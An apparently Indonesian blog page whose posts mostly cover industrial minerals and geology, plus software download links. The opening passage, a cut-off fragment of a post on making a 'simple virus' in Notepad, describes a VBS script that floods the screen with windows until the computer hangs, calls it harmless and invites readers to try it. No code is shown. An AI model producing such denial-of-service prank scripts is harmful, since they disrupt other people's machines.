Jangan klik file virus.vbs tersebut, karena komputer sobat akan dipenuhi oleh 100000000  tourstart yang akan memenuhi layar sobat  dan akan membuat komputer menjadi hang,   untuk mengatasinya  sobatdapat mendelete semua tourstart tersebut atau langsung merestart komputer sobat. Bila sobatingin mencoba virus ini sekedar untuk percobaan, silahkan membuat ulang program nya, dengan perbedaan ubah 100000000 ke 10. Maka setelah sobat mengklik programnya (virus.vbs), layar sobat hanya akan dipenuhi oleh  10 tourstart saja.
Nb: Virus ini tidak berbahaya,  karena tidak akan menyebabkan kerusakan vatal pada sistem komputer kita!
More about Membuat Virus Sederhana dengan Cara Menggunakan Notepad

Download makalah metode Eksplorasi Bijih Besi

Diposting oleh Selamat datang di blog on Jumat, 23 November 2012

Silahkan download file makalah metode Eksplorasi Bijih besi Di Sini .Dibawah ini adalah sari dari makalah ini.


Besi adalah logam yang paling luas dan paling banyak penggunaanya. Besi terdapat di alam dalam bentuk senyawa, antara lain sebagai hematit , magnetit, pirit dan siderit. Salah satu kegunaan bijih besi adalah sebagai bahan pembuatan baja. Kebanyakan besi ditemukan dalam batuan dan tanah sebagai oksida besi yang disebut bijih besi. Besi adalah logam yang dihasilkan dari bijih besi yang telah diekstrak. Bijih besi jarang dijumpai dalam keadaan bebas, biasanya bijih besi ditemukan berasosiasi dengan mineral logam lainnya.  Pada dasarnya mineral bijih besi banyak terdapat sebagai metasomatik kontak maupun sebagai endapan sekunder yang terpendam dan tersingkap secara acak.

Tahapan eksplorasi adalah urutan penyelidikan geologi yang umumnya dilakukan melalui empat tahap sebagai berikut : survei tinjau, prosepeksi, eksplorasi umum, dan eksplorasi rinci. Survei tinjau, tahap eksplorasi untuk mengidetifikasi daerah-daerah yang berpotensi bagi kerdaptan mineral pada skala regional. Prospeksi, tahap eksplorasi dengan jalan mempersempit daerah yang mengandung endapan mineral yang potensial.

Eksplorasi umum, tahap eksplorasi yang merupakan deliniasi awal dari suatu endapan yang teridentifikasi.Ada beberapa metode eksplorasi bijih besi yang dapat digunakan salah satunya adalah metode magnetik, yaitu metode   yang cocok digunakan untuk eksplorasi mineral magnetis seperti bijih besi seperti magnetit dan hematit. Metode ini didasarkan pada nilai anomali medan magnet bumi di suatu kawasan survei. Sebagaimana kita ketahui bahwa bumi memiliki sifat seperti magnet yaitu kutub utara dan selatan.
More about Download makalah metode Eksplorasi Bijih Besi

Rijang sebagai Batu setengah Permata

Diposting oleh Selamat datang di blog on Jumat, 02 November 2012

Rijang (SiO2) Terbentuk dari proses replacement terhadap batu gamping oleh silika organik atau anorganik. Rijang berbutir sangat halus umumnya berwarna kehijauan atau kehitaman, nilai kekerasannya 7.

Rijang banyak tersebar diwilayah indonesia diantaranya daerah Istimewa aceh, Jawa barat, Jawa tengah, Jawa timur, Kalimantan barat, Kalimantan selatan, Sulawesi selatan, Nusa tenggara timur.

Rijang termasuk sebagai bahan batu setengah permata. Oleh sebab itu kebanyakan dibentuk sebagai hiasan (ornament).
Proses penambangan yang dilakukan dengan menggunakan peralatan sederhana seperti linggis.
More about Rijang sebagai Batu setengah Permata

Fosfat sebagai Bahan Galian Industri untuk Pupuk

Diposting oleh Selamat datang di blog

Fosfat adalah unsur dalam suatu batuan beku (apatit) atau sedimen dengan kandungan fosfor ekonomis. Biasanya, kandungan fosfor dinyatakan sebagai bone phosphate of lime (BPL) atau triphosphate of lime (TPL), atau berdasarkan kandungan     P2O5.

Fosfat apatit termasuk fosfat primer karena gugusan oksida fosfatnya terdapat dalam mineral apatit (Ca10(PO4)6.F2) yang terbentuk selama proses pembekuan magma. Kadang kadang, endapan fosfat berasosiasi dengan batuan beku alkali kompleks, terutama karbonit kompleks dan sienit. Sifat fisik yang dimiliki adalah warna putih atau putih kehijauan, hijau, berat jenis 2,81-3,23, dan kekerasan 5 H. Fosfat adalah sumber utama unsur kalium dan nitrogen yang tidak larut dalam air, tetapi dapat diolah untuk memperoleh produk fosfat dengan menambahkan asam.
Fosfat dipasarkan dengan berbagai kandungan P2O5, antara 4-42 %. Sementara itu, tingkat uji pupuk fosfat ditentukan oleh jumlah kandungan N (nitrogen), P (fosfat atau P2O5), dan K (potas cair atau K2O). Fosfat sebagai pupuk alam tidak cocok untuk tanaman pangan, karena tidak larut dalam air sehingga sulit diserap oleh akar tanaman pangan. Fosfat untuk pupuk tanaman pangan perlu diolah menjadi pupuk buatan. Di Indonesia, jumlah cadangan yang telah diselidiki adalah 2,5 juta ton endapan guano (kadar P2O5= 0,17-43 %). Keterdapatannya di Propinsi Aceh, Jawa Barat, Jawa Tengah, Jawa Timur, Sulawesi Utara, Sulawesi Tengah dan NTT, sedangkan tempat lainnya adalah Sumatera Utara, Kalimantan, dan Irian Jaya.

Proses penambangan dilakukan dengan cara sederhana dengan peralatan sederhana.
More about Fosfat sebagai Bahan Galian Industri untuk Pupuk

Mengenal Batu Oniks

Diposting oleh Selamat datang di blog

Endapan oniks mempunyai komposisi kimia CaCO3 terdiri dari mineral kalsit yang berlapis dengan ketebalan dan pola yang bervariasi. Umumnya berwarna putih kekuningan dan agak bening sehingga tembus pandang. Oniks terjadi pada rongga atau tekanan batu gamping yang berasal dari larutan kalsium karbonat baik yang terjadi pada temperatur panas atau dingin. Bila oniks ini terkena proses metamorfose maka akan terbentuk oniks marmer. Seperti marmer, oniks tidak tahan terhadap larutan asam oleh sebab itu disarankan jangan sampai terkena air hujan.

Oniks biasanya dimanfaatkan sebagai hiasan seperti asbak, vas, lampu duduk/ gantung atau bentuk dekorasi lainnya.

Endapan oniks yang sudah diketahui keberadaannya yaitu didaerah jawa barat (Ciniru, kabupaten kuningan), Jawa tengah (Daerah wirosari), dan beberapa daerah jawa timur.
Proses penambangan yang dilakukan sama seperti penambangan marmer.
More about Mengenal Batu Oniks

Dolomit sebagai Bahan Galian Industri

Diposting oleh Selamat datang di blog

Dolomit termasuk rumpun mineral karbonat, mineral dolomit murni secara teoritis mengandung 45,6% MgCO3 atau 21,9% MgO dan 54,3% CaCO3 atau 30,4% CaO. Rumus kimia mineral dolomit dapat ditulis meliputi CaCO3.MgCO3, CaMg(CO3)2 atau CaxMg1-xCO3, dengan nilai x lebih kecil dari satu. Dolomit di alam jarang yang murni, karena umumnya mineral ini selalu terdapat bersama-sama dengan batu gamping, kwarsa, rijang, pirit dan lempung. Dalam mineral dolomit terdapat juga     pengotor,       terutama        ion      besi. Dolomit berwarna putih keabu-abuan atau kebiru-biruan dengan kekerasan lebih lunak dari batugamping, yaitu berkisar antara 3,50 - 4,00, bersifat pejal, berat jenis antara 2,80 - 2,90, berbutir halus hingga kasar dan mempunyai sifat mudah menyerap air serta mudah dihancurkan.

Penggunaan dolomit dalam industri tidak seluas penggunaan batugamping dan magnesit. Kadang-kadang penggunaan dolomit ini sejalan atau sama dengan penggunaan batugamping atau magnesit untuk suatu industri tertentu. Akan tetapi, biasanya dolomit lebih disukai karena banyak terdapat di alam. Madiapoera, T (1990) menyatakan bahwa penyebaran dolomit yang cukup besar terdapat di Propinsi Sumatera Utara, Sumatera Barat, Jawa Tengah, Jawa Timur dan Madura dan Papua. Di beberapa daerah sebenarnya terdapat juga potensi dolomit, namun jumlahnya relatif jauh lebih kecil dan hanya berupa lensa-lensa pada endapan batugamping.

Penambangan dolomit dilakukan sama dengan penambangan batu gamping.
More about Dolomit sebagai Bahan Galian Industri

Batu Gamping sebagai Bahan Galian Industri

Diposting oleh Selamat datang di blog

Batu kapur (Gamping) dapat terjadi dengan beberapa cara, yaitu secara organik, secara mekanik, atau secara kimia. Sebagian besar batu kapur yang terdapat di alam terjadi secara organik, jenis ini berasal dari pengendapan cangkang/rumah kerang dan siput, foraminifera atau ganggang, atau berasal dari kerangka binatang koral/kerang. Batu kapur dapat berwarna putih susu, abu muda, abu tua, coklat bahkan hitam, tergantung keberadaan mineral pengotornya.

Penggunaan batu kapur sudah beragam diantaranya untuk bahan kaptan, bahan campuran bangunan, industri karet dan ban, kertas, dan lain-lain.

Potensi batu kapur di Indonesia sangat besar dan tersebar hampir merata di seluruh kepulauan Indonesia. Sebagian besar cadangan batu kapur Indonesia terdapat di Sumatera Barat.
Pada umumnya deposit batu gamping ditemukan dalam bentuk bukit. Oleh sebab itu teknik penambangan dilakukan dengan tambang terbuka dalam bentuk Quarry tipe sisi bukit (Side hill type).
More about Batu Gamping sebagai Bahan Galian Industri

Mengenal Marmer

Diposting oleh Selamat datang di blog on Rabu, 10 Oktober 2012

Marmer atau juga yang disebut batu pualam adalah hasil proses metamorfosa pada batu kapur yang menyebabkan terjadinya kristalisasi sebagai akibat dari pengaruh temperature dan tekananyang dihasilkan oleh alam. Pada umunnya ditemukan terutama dengan penampakan warna putih, selain variasi warna merah, kuning, coklat, abu-abu, biru dan hitam. Mempunyai berat jenis 2,9, kerapatan kurang lebih 2,8 gr/cm3 dan kuat tekanan kurang lebih 900 kg/cm3.



1.Genesa Marmer
terjadinya deposit marmer adalah akibat proses metamorfosa. Dimana mineral yang terdapat pada batu kapur ( kalsit) akibat pengaruh gaya-gaya perekanan dan panas yang tinggi dapat menghablur (re-kristalisasi). Akibat penghabluran tersebut maka struktur asal dari batuan itu akan hilang dan terbentuklah batuan yang butirnya amat teratur dan dikenal dengan nama batu pualam. Proses geologinya terbentuk antara 30-60 juta tahun yang lalu atau dalam bahasa geologi disebut berumur kwarter sampai tertier.

2.Pengolahan
    Kegiatan pengolahan pada prinsipnya adalh sebagai pengolah blok-blok batu pualam yang telah dihasilkan menjadi barang jadi akhir yang siap untuk dipanaskan. Proses pengolahan secara garis besar adalah sebagai berikut:

  •  blok batu pualam yang berukuran (260x110x135) cm digergaji menjadi lempengan-lempengan dengan ketabalan rata-rata 2 cm.
  •   lempengan batu pualam tersebut kemudian dipotong menjadi barang setengah jadi, sesuai ukuran-ukuran tersebut atau pesanan.
  •  Barang setengah jadi tersebut kemudian digerinda dua tahap dan kemudian disempurnakan/ditambal bagian-bagian lempeng yang berlubang. Kualitas penambalanakan tergantung pada kualitas batu yang dihasilkan. Barangsetengah jadi yang telah digerinda dua tahap dan disempurnakan kemudian digerinda lagi empat tahap dan dipoles hingga mengkilap.
  •  Seleksi kualitas barang jadi akhir sesuai standar yang teah ditetapkan.

3.Kegunaan
Batu pualam sangat disukai sebagai batu ornament. Batu pualam tipe ordinorio yang berwarna putih sering digunakan untuk pembuatan tempat mandi, meja-meja, toilet, lantai, dinding dan sebagainya. Sedangkan untuk batu pualam ari tipe staturio umumnya sering dipakai untuk seni pahat atau patung. Batu pualam yang terkenal didunia adalah yang berasal dari caraka, italia, yang termasyur karena penggunaannya untuk pembuatan patung-patung dan gedung-gedung yang indah.Adapun mengenai persyaratan khusus untuk standar kualitas batu pualam yang baik diantaranya adalah :

  •   Dapat dibuat kepingan-kepingan besar sesuai kapasitas mesin produksi guna memperoleh efisiensi optimal dalam penentun model. Mempunyai komposisi warna yang bermacam-macam dan menarik, hal ini akan terjadi tergantung dari proses metamorfosa yang terjadi.
     
  •  Mempunyai struktur yang padat/pejal dengan tekanan yang tinggi.
     
  •  Mempunyai daya kehausan yang rendah dan utiran halus.
More about Mengenal Marmer

Penggolongan Bahan Galian Industri Cara Terbentuknya

Diposting oleh Selamat datang di blog

Penggolongan bahan galian industri berdasarkan atas asosiasi dengan batuan tempat terdapatnya, dengan mengacu pada Tushadi dkk [1990, dalam Sukandarumidi, 1999] adalah sebagai berikut :

a.  Kelompok I : BGI yang berkaitan dengan Batuan Sedimen,
kelompok ini dapat dibagi menjadi :
- Sub Kelompok A : BGI yang berkaitan dengan batugamping : Batugamping, dolomit, kalsit, marmer, oniks, Posfat, rijang, dan gipsum.
- Sub Kelompok B : BGI yang berkaitan dengan batuan sedimen lainnya : bentonit, ballclay dan bondclay, fireclay, zeolit, diatomea, yodium, mangan, felspar.

b.  Kelompok II, BGI yang berkaitan dengan batuan gunung api : obsidian, perlit, pumice, tras, belerang, trakhit, kayu terkersikkan, opal, kalsedon, andesit dan basalt, paris gunung api, dan breksi pumice.

c.  Kelompok III, BGI yang berkaitan dengan intrusi plutonik batuan asam & ultra basa : granit dan granodiorit, gabro dan peridotit, alkali felspar, bauksit, mika, dan asbes

d.  Kelompok IV, BGI yang berkaitan dengan batuan endapan residu & endapan letakan : lempung, pasir kuarsa, intan, kaolin, zirkon, korundum, kelompok kalsedon, kuarsa kristal, dan sirtu

e.  Kelompok V, BGI yang berkaitan dengan proses perubahan hidrotermal : barit, gipsum, kaolin, talk, magnesit, pirofilit, toseki, oker, dan tawas.

f.  Kelompok VI, BGI yang berkaitan dengan batuan metamorf : kalsit, marmer, batusabak, kuarsit, grafit, mika dan wolastonit.
More about Penggolongan Bahan Galian Industri Cara Terbentuknya

Download Aplikasi Edit Video

Diposting oleh Selamat datang di blog

Aplikasi untuk mengedit video sangat banyak dari yang sederhana sampai yang rumit, disini saya mencoba sharing salah satu aplikasi edit video yang saya gunakan yaitu VideoPad Video editor , aplikasi ini sangat mudah digunakan untuk menggabung video ataupun hanya membuat slide show photo dan bisa dimasukkan musik.

Aplikasi ini juga memiliki effect yang saya sering pakai yaitu slowmotion , sebuah efek memperlambat video kita, sangat sering saya gunakan divideo pen spinning saya.

Bagi kamu yang mau mencoba aplikasi ini silahkan download Di Sini
More about Download Aplikasi Edit Video

Download Kamus Bahasa Inggris - Indonesia Digital

Diposting oleh Selamat datang di blog

Kamus bahasa Inggris - Indonesia dan sebaliknya ini adalah sebuah kamus digital yang sangat baik untuk belajar bahasa inggris, aplikasi nya sangat mudah digunakan dan ringan untuk kita pakai dikomputer kita, bagi kamu yang mau download aplikasinya silahkan klik Di Sini
More about Download Kamus Bahasa Inggris - Indonesia Digital

Mengenal Gypsum

Diposting oleh Selamat datang di blog

Gypsum adalah salah satu contoh mineral dengan kadar kalsium yang mendominasi pada mineralnya dan merupakan salah satu bahan galian industri. Gypsum yang paling umum ditemukan adalah jenis hidrat kalsium sulfat dengan rumus kimia CaSO4.2H2O.

 Gypsum adalah salah satu dari beberapa mineral yang teruapkan. Contoh lain dari mineral-mineral tersebut adalah karbonat, borat, nitrat, dan sulfat. Mineral-mineral ini diendapkan di laut, danau, gua dan di lapian garam karena konsentrasi ion-ion oleh penguapan. Ketika air panas atau air memiliki kadar garam yang tinggi, gypsum berubah menjadi basanit (CaSO4.H2O) atau juga menjadi anhidrit (CaSO4). Dalam keadaan seimbang, gypsum yang berada di atas suhu 108 °F atau 42 °C dalam air murni akan berubah menjadi anhidrit.

Klasifiasi :
Gypsum secara umum mempunyai kelompok yang terdiri dari gypsum batuan, gipsit alabaster, satin spar, dan selenit. Gypsum juga dapat diklasifikasikan berdasarkan tempat terjadinya, yaitu endapan danau garam, berasosiasi dengan belerang, terbentuk sekitar fumarol vulkanik, efflorescence pada tanah atau gua-gua kapur, tudung kubah garam, penudung gossan|oksida besi (gossan) pada endapan pirit di daerah batu gamping.


Genesa :
Gypsum merupakan mineral sedimen kimiawi (evaporit) yg khas, terbentuk melalui pengendapan langsung dr air garam/ merupakan hasil hidrasi/alterasi anhidrit selama proses diagenesa. Gipsum dpt juga terbtk oleh sublimasi langsung dr fumarola/diendapkan mata air panas. Juga diagenesa sebagai Galian block-block konkresi dlm lempung dan napal, sedang anhidrit merupakan hasil dehidrasi gypsum.

Kegunaan :
Gypsum memiliki banyak kegunaan sejak zaman prasejarah hingga sekarang. Beberapa kegunaan gypsum yaitu
* Drywall
* Bahan perekat.
* Penyaring dan sebagai pupuk tanah. Di akhir abad 18 dan awal abad 19, gypsum Nova Scotia atau yang lebih dikenal dengan sebutan plaster, digunakan dalam jumlah yang besar sebagai pupuk di ladang-ladang gandum di Amerika Serikat.
* Campuran bahan pembuatan lapangan tenis.
* Sebagai pengganti kayu pada zaman kerajaan-kerajaan. Contohnya ketika kayu menjadi langka pada Zaman Perunggu, gypsum digunakan sebagai bahan bangunan.
* Sebagai pengental tofu (tahu) karena memiliki kadar kalsium yang tinggi, khususnya di Benua Asia (beberapa negara Asia Timur) diproses dengan cara tradisonal.
* Sebagai penambah kekerasan untuk bahan bangunan
* Untuk bahan baku kapur tulis
* Sebagai salah satu bahan pembuat portland semen
* Sebagai indikator pada tanah dan air
* Sebagai agen medis pada ramuan tradisional China yang disebut Shi Gao.
More about Mengenal Gypsum